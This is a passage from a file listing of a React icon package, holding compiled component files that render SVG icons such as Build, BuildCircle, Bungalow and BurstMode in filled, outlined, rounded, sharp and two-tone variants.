    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m4.9 13.49-1.4 1.4c-.2.2-.51.2-.71 0l-3.41-3.41c-1.22.43-2.64.17-3.62-.81-1.11-1.11-1.3-2.79-.59-4.1l2.35 2.35 1.41-1.41-2.35-2.34c1.32-.71 2.99-.52 4.1.59.98.98 1.24 2.4.81 3.62l3.41 3.41c.19.19.19.51 0 .7\"\n}), 'BuildCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/BuildCircleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(\"g\", {\n  fillRule: \"evenodd\",\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M13.49 11.38c.43-1.22.17-2.64-.81-3.62-1.11-1.11-2.79-1.3-4.1-.59l2.35 2.35-1.41 1.41-2.35-2.35c-.71 1.32-.52 2.99.59 4.1.98.98 2.4 1.24 3.62.81l3.41 3.41c.2.2.51.2.71 0l1.4-1.4c.2-.2.2-.51 0-.71z\"\n  })]\n}), 'BuildCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BuildCircleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(\"g\", {\n  fillRule: \"evenodd\",\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M13.49 11.38c.43-1.22.17-2.64-.81-3.62-1.11-1.11-2.79-1.3-4.1-.59l2.35 2.35-1.41 1.41-2.35-2.35c-.71 1.32-.52 2.99.59 4.1.98.98 2.4 1.24 3.62.81l3.41 3.41c.2.2.51.2.71 0l1.4-1.4c.2-.2.2-.51 0-.71z\"\n  })]\n}), 'BuildCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BuildCircleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m4.54 13.85-.69.69c-.39.39-1.02.39-1.41 0l-3.05-3.05c-1.22.43-2.64.17-3.62-.81-1.11-1.11-1.3-2.79-.59-4.1l2.35 2.35 1.41-1.41-2.36-2.35c1.32-.71 2.99-.52 4.1.59.98.98 1.24 2.4.81 3.62l3.05 3.05c.39.39.39 1.03 0 1.42\"\n}), 'BuildCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BuildCircleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m4.54 13.85-.69.69c-.39.39-1.02.39-1.41 0l-3.05-3.05c-1.22.43-2.64.17-3.62-.81-1.11-1.11-1.3-2.79-.59-4.1l2.35 2.35 1.41-1.41-2.36-2.35c1.32-.71 2.99-.52 4.1.59.98.98 1.24 2.4.81 3.62l3.05 3.05c.39.39.39 1.03 0 1.42\"\n}), 'BuildCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BuildCircleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m3.14 15.25-3.76-3.76c-1.22.43-2.64.17-3.62-.81-1.11-1.11-1.3-2.79-.59-4.1l2.35 2.35 1.41-1.41-2.35-2.35c1.32-.71 2.99-.52 4.1.59.98.98 1.24 2.4.81 3.62l3.76 3.76z\"\n}), 'BuildCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BuildCircleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m3.14 15.25-3.76-3.76c-1.22.43-2.64.17-3.62-.81-1.11-1.11-1.3-2.79-.59-4.1l2.35 2.35 1.41-1.41-2.35-2.35c1.32-.71 2.99-.52 4.1.59.98.98 1.24 2.4.81 3.62l3.76 3.76z\"\n}), 'BuildCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BuildCircleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.68 7.76c-1.11-1.11-2.79-1.3-4.1-.59l2.35 2.35-1.41 1.41-2.35-2.35c-.71 1.32-.52 2.99.59 4.1.98.98 2.4 1.24 3.62.81l3.41 3.41c.2.2.51.2.71 0l1.4-1.4c.2-.2.2-.51 0-.71l-3.41-3.41c.43-1.23.17-2.64-.81-3.62\"\n}, \"2\")], 'BuildCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BuildCircleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.68 7.76c-1.11-1.11-2.79-1.3-4.1-.59l2.35 2.35-1.41 1.41-2.35-2.35c-.71 1.32-.52 2.99.59 4.1.98.98 2.4 1.24 3.62.81l3.41 3.41c.2.2.51.2.71 0l1.4-1.4c.2-.2.2-.51 0-.71l-3.41-3.41c.43-1.23.17-2.64-.81-3.62\"\n}, \"2\")], 'BuildCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BuildOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.61 18.99-9.08-9.08c.93-2.34.45-5.1-1.44-7C9.79.61 6.21.4 3.66 2.26L7.5 6.11 6.08 7.52 2.25 3.69C.39 6.23.6 9.82 2.9 12.11c1.86 1.86 4.57 2.35 6.89 1.48l9.11 9.11c.39.39 1.02.39 1.41 0l2.3-2.3c.4-.38.4-1.01 0-1.41m-3 1.6-9.46-9.46c-.61.45-1.29.72-2 .82-1.36.2-2.79-.21-3.83-1.25C3.37 9.76 2.93 8.5 3 7.26l3.09 3.09 4.24-4.24-3.09-3.09c1.24-.07 2.49.37 3.44 1.31 1.08 1.08 1.49 2.57 1.24 3.96-.12.71-.42 1.37-.88 1.96l9.45 9.45z\"\n}), 'BuildOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BuildOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.61 18.99-9.08-9.08c.93-2.34.45-5.1-1.44-7C9.79.61 6.21.4 3.66 2.26L7.5 6.11 6.08 7.52 2.25 3.69C.39 6.23.6 9.82 2.9 12.11c1.86 1.86 4.57 2.35 6.89 1.48l9.11 9.11c.39.39 1.02.39 1.41 0l2.3-2.3c.4-.38.4-1.01 0-1.41m-3 1.6-9.46-9.46c-.61.45-1.29.72-2 .82-1.36.2-2.79-.21-3.83-1.25C3.37 9.76 2.93 8.5 3 7.26l3.09 3.09 4.24-4.24-3.09-3.09c1.24-.07 2.49.37 3.44 1.31 1.08 1.08 1.49 2.57 1.24 3.96-.12.71-.42 1.37-.88 1.96l9.45 9.45z\"\n}), 'BuildOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BuildRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.09 2.91C10.08.9 7.07.49 4.65 1.67L8.28 5.3c.39.39.39 1.02 0 1.41L6.69 8.3c-.39.4-1.02.4-1.41 0L1.65 4.67C.48 7.1.89 10.09 2.9 12.1c1.86 1.86 4.58 2.35 6.89 1.48l7.96 7.96c1.03 1.03 2.69 1.03 3.71 0 1.03-1.03 1.03-2.69 0-3.71L13.54 9.9c.92-2.34.44-5.1-1.45-6.99\"\n}), 'BuildRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BuildRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.09 2.91C10.08.9 7.07.49 4.65 1.67L8.28 5.3c.39.39.39 1.02 0 1.41L6.69 8.3c-.39.4-1.02.4-1.41 0L1.65 4.67C.48 7.1.89 10.09 2.9 12.1c1.86 1.86 4.58 2.35 6.89 1.48l7.96 7.96c1.03 1.03 2.69 1.03 3.71 0 1.03-1.03 1.03-2.69 0-3.71L13.54 9.9c.92-2.34.44-5.1-1.45-6.99\"\n}), 'BuildRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BuildSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.09 2.91C10.08.9 7.07.49 4.65 1.67l4.34 4.34-3 3-4.34-4.34C.48 7.1.89 10.09 2.9 12.1c1.86 1.86 4.58 2.35 6.89 1.48l9.82 9.82 3.71-3.71-9.78-9.79c.92-2.34.44-5.1-1.45-6.99\"\n}), 'BuildSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BuildSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.09 2.91C10.08.9 7.07.49 4.65 1.67l4.34 4.34-3 3-4.34-4.34C.48 7.1.89 10.09 2.9 12.1c1.86 1.86 4.58 2.35 6.89 1.48l9.82 9.82 3.71-3.71-9.78-9.79c.92-2.34.44-5.1-1.45-6.99\"\n}), 'BuildSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BuildTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.92 8.28c.24-1.4-.16-2.89-1.24-3.96-.94-.95-2.2-1.39-3.44-1.32l3.09 3.09-4.24 4.24L3 7.24c-.07 1.24.37 2.49 1.31 3.44 1.04 1.04 2.47 1.45 3.83 1.25.71-.1 1.4-.38 2-.82l9.46 9.46.88-.88-9.45-9.45c.47-.6.77-1.26.89-1.96\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.61 18.97 13.54 9.9c.93-2.34.45-5.1-1.44-7C9.8.6 6.22.39 3.67 2.25L7.5 6.08 6.08 7.5 2.25 3.67C.39 6.21.6 9.79 2.9 12.09c1.86 1.86 4.57 2.35 6.89 1.48l9.11 9.11c.39.39 1.02.39 1.41 0l2.3-2.3c.4-.38.4-1.02 0-1.41m-3 1.6-9.46-9.46c-.61.45-1.29.72-2 .82-1.36.2-2.79-.21-3.83-1.25-.95-.94-1.39-2.2-1.32-3.44l3.09 3.09 4.24-4.24L7.24 3c1.24-.07 2.49.37 3.44 1.31 1.08 1.08 1.49 2.57 1.24 3.96-.12.7-.42 1.36-.88 1.95l9.45 9.45z\"\n}, \"1\")], 'BuildTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BuildTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.92 8.28c.24-1.4-.16-2.89-1.24-3.96-.94-.95-2.2-1.39-3.44-1.32l3.09 3.09-4.24 4.24L3 7.24c-.07 1.24.37 2.49 1.31 3.44 1.04 1.04 2.47 1.45 3.83 1.25.71-.1 1.4-.38 2-.82l9.46 9.46.88-.88-9.45-9.45c.47-.6.77-1.26.89-1.96\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.61 18.97 13.54 9.9c.93-2.34.45-5.1-1.44-7C9.8.6 6.22.39 3.67 2.25L7.5 6.08 6.08 7.5 2.25 3.67C.39 6.21.6 9.79 2.9 12.09c1.86 1.86 4.57 2.35 6.89 1.48l9.11 9.11c.39.39 1.02.39 1.41 0l2.3-2.3c.4-.38.4-1.02 0-1.41m-3 1.6-9.46-9.46c-.61.45-1.29.72-2 .82-1.36.2-2.79-.21-3.83-1.25-.95-.94-1.39-2.2-1.32-3.44l3.09 3.09 4.24-4.24L7.24 3c1.24-.07 2.49.37 3.44 1.31 1.08 1.08 1.49 2.57 1.24 3.96-.12.7-.42 1.36-.88 1.95l9.45 9.45z\"\n}, \"1\")], 'BuildTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Bungalow.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 4.2 15.5l1.7 1.06L7 14.8V21h4v-5h2v5h4v-6.21l1.1 1.77 1.7-1.06zm1 11h-2v-2h2z\"\n}), 'Bungalow');"
  },
  {
    "path": "packages/mui-icons-material/lib/Bungalow.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 4.2 15.5l1.7 1.06L7 14.8V21h4v-5h2v5h4v-6.21l1.1 1.77 1.7-1.06zm1 11h-2v-2h2z\"\n}), 'Bungalow');"
  },
  {
    "path": "packages/mui-icons-material/lib/BungalowOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 14h-2v-2h2zm5.1 2.56L17 14.79V21H7v-6.2l-1.1 1.76-1.7-1.06L12 3l7.8 12.5zM15 11.59l-3-4.8-3 4.8V19h2v-3h2v3h2z\"\n}), 'BungalowOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BungalowOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 14h-2v-2h2zm5.1 2.56L17 14.79V21H7v-6.2l-1.1 1.76-1.7-1.06L12 3l7.8 12.5zM15 11.59l-3-4.8-3 4.8V19h2v-3h2v3h2z\"\n}), 'BungalowOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BungalowRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 16c.55 0 1 .45 1 1v4h3c.55 0 1-.45 1-1v-5.21l.57.92c.29.47.91.61 1.38.32s.61-.91.32-1.38L12.85 4.36c-.39-.63-1.31-.63-1.7 0L4.73 14.65c-.29.47-.15 1.09.32 1.38s1.08.15 1.38-.32L7 14.8V20c0 .55.45 1 1 1h3v-4c0-.55.45-1 1-1m1-3c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\"\n}), 'BungalowRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BungalowRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 16c.55 0 1 .45 1 1v4h3c.55 0 1-.45 1-1v-5.21l.57.92c.29.47.91.61 1.38.32s.61-.91.32-1.38L12.85 4.36c-.39-.63-1.31-.63-1.7 0L4.73 14.65c-.29.47-.15 1.09.32 1.38s1.08.15 1.38-.32L7 14.8V20c0 .55.45 1 1 1h3v-4c0-.55.45-1 1-1m1-3c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\"\n}), 'BungalowRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BungalowSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 4.2 15.5l1.7 1.06L7 14.8V21h4v-5h2v5h4v-6.21l1.1 1.77 1.7-1.06zm1 11h-2v-2h2z\"\n}), 'BungalowSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BungalowSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 4.2 15.5l1.7 1.06L7 14.8V21h4v-5h2v5h4v-6.21l1.1 1.77 1.7-1.06zm1 11h-2v-2h2z\"\n}), 'BungalowSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BungalowTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 6.78-3 4.8V19h2v-3h2v3h2v-7.42zM13 14h-2v-2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 14h-2v-2h2zm5.1 2.56L17 14.79V21H7v-6.2l-1.1 1.76-1.7-1.06L12 3l7.8 12.5zM15 11.59l-3-4.8-3 4.8V19h2v-3h2v3h2z\"\n}, \"1\")], 'BungalowTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BungalowTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 6.78-3 4.8V19h2v-3h2v3h2v-7.42zM13 14h-2v-2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 14h-2v-2h2zm5.1 2.56L17 14.79V21H7v-6.2l-1.1 1.76-1.7-1.06L12 3l7.8 12.5zM15 11.59l-3-4.8-3 4.8V19h2v-3h2v3h2z\"\n}, \"1\")], 'BungalowTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BurstMode.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 5h2v14H1zm4 0h2v14H5zm17 0H10c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1M11 17l2.5-3.15L15.29 16l2.5-3.22L21 17z\"\n}), 'BurstMode');"
  },
  {
    "path": "packages/mui-icons-material/lib/BurstMode.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 5h2v14H1zm4 0h2v14H5zm17 0H10c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1M11 17l2.5-3.15L15.29 16l2.5-3.22L21 17z\"\n}), 'BurstMode');"
  },
  {
    "path": "packages/mui-icons-material/lib/BurstModeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 5h2v14H1zm4 0h2v14H5zm17 0H10c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1m-1 12H11V7h10zm-3.57-4.38-2 2.57L14 13.47l-2 2.52h8z\"\n}), 'BurstModeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BurstModeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 5h2v14H1zm4 0h2v14H5zm17 0H10c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1m-1 12H11V7h10zm-3.57-4.38-2 2.57L14 13.47l-2 2.52h8z\"\n}), 'BurstModeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BurstModeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 5c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1s-1-.45-1-1V6c0-.55.45-1 1-1m4 0c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1s-1-.45-1-1V6c0-.55.45-1 1-1m16 0H10c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1M11.64 16.19l1.47-1.86c.2-.25.57-.25.78-.01l1.4 1.68 2.1-2.71c.2-.26.59-.26.79 0l2.21 2.9c.25.33.02.8-.4.8h-7.96c-.41.01-.65-.47-.39-.8\"\n}), 'BurstModeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BurstModeRounded.mjs",
